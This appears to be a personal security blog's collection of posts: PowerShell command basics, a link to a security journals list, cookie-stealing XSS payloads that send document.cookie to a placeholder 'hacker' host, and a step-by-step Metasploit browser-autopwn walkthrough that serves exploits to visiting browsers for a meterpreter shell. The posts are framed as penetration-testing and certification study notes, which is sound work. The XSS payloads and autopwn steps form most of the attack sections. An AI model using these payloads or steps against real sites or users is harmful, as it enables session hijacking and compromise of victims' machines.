Wednesday, October 28, 2020

Fundamental Notes for Powershell

Reference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/?view=powershell-5.1


<Execute Powershell script in Regular CMD:>

Example #1: Run a Powershell script in CMD:

cmd > powershell -command "& 'C:\foobar.ps1'"

Example #2: Run a Poswershell command in CMD:

cmd > powershell -command " get-process "


<Get Help Information:>

PS > Get-Help [COMMAND]

Example:

PS > Get-Help Get-Help

PS > Get-Help Get-Command


<Get Cmdlets List:>

PS > Get-Command 


<Search Cmdlets:>

PS > Get-Command -Name [PATTERN]

Example:

PS > Get-Command -Name *firewall*


<Get Process Information:>

PS > Get-Process chrome, firefox | Sort-Object -Unique | Format-List Path,Id


<List All Alias Cmdlets:>

PS > Get-Alias -Definition [COMMAND]

Example:

PS > Get-Alias -Definition Get-ChildItem


<Inquire through WMI by using Get-WMIObject:>

Example #1: Inquire Process List

PS > Get-WmiObject -Class Win32_Process

Example #2: Inquire Service List from a remote computer

PS > Get-WmiObject -Class Win32_Service -ComputerName 10.1.4.62

Example #3: Inquire information from a query

PS > Get-WmiObject -Query "select * from win32_service where name='WinRM'" -ComputerName Server01, Server02 | Format-List -Property PSComputerName, Name, ExitCode, Name, ProcessID, StartMode, State, Status

Saturday, October 24, 2020

Information Security Journals

 Referred from https://www.cs.sjsu.edu/~stamp/securityJournals.html

Author: Mark Stamp

His email: mark.stamp@sjsu.edu

Sunday, August 23, 2020

[XSS]Two key test cases against Cross Site Scripting

 Stealing Cookie:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

<script>var i = new Image();i.src="http://hacker/log.php?q="+document.cookie;</script>


Work with Browser Autopwn:

<IFRAME src='http://hacker'><\/IFRAME>


For more information, refer to my project at "https://github.com/d3m0n4l3x/alexfuzz".

Friday, August 21, 2020

[eCPPT][XSS][metasploit][Browser][Autopwn]Verify Browser Security through Metasploit

 1) Enter Metasploit msfconsole:

# msfconsole


2) Select Browser Autopwn:

msf5 > use auxiliary/server/browser_autopwn

OR

msf5 > use auxiliary/server/browser_autopwn2


3) Set up corresponding settings:

msf5 auxiliary(server/browser_autopwn) > set LHOST 192.168.0.XX /*P.S.: 192.168.0.XX is the IP address of this machine.*/

msf5 auxiliary(server/browser_autopwn) > set SRVPORT 80

msf5 auxiliary(server/browser_autopwn) > set URIPATH /


4) Start the malicious web server:

msf5 auxiliary(server/browser_autopwn) > exploit


5) Metasploit then would show you a "Local IP" URL, which should be browsed by the tested machine, as shown below:

[*] --- Done, found 20 exploit modules

[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://192.168.0.XX:80/ /*P.S.: http://192.168.0.XX:80/ is the URL needed to be browsed by the tested machine.*/

[*] Server started.


6) If the tested machine is vulnerable, a meterpreter should be showing up shortly.